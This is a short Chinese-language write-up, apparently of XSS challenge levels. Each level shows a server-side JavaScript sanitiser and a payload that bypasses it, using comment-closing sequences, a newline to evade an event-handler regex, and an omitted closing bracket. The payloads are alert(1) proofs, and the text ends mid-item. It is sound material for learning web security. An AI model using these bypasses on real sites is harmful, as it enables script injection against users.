一、过滤()`
1.()被过滤
服务端代码function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input } 12345
由于()被过滤,考虑编码绕过。
攻击代码<iframe onmouseover=javascript:alert(1)> 1
2.html 注释问题
a.服务端代码
function render (input) { input = input.replace(/-->/g, '?') return '<!-- ' + input + ' -->' } 1234
b.攻击代码
–>以及–!>均可结束注释
---!><script>alert(1)</script> 1
3.标签内过滤on/auto开头字段及尖括号>
a.服务端代码
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` } 1234
b.攻击代码
通过换行避开正则。
type="image" src="xx" onmouseover ="alert(1)" 12
4.过滤</,<
a.服务端代码
function render (input) { const stripTagsRe = /</?[^>]+>/gi input = input.replace(stripTagsRe, '') return `<article>${input}</article>` } 123456
b.攻击代码
考虑到尖括号<>成对会被闭合,根据情况,可以省写>。</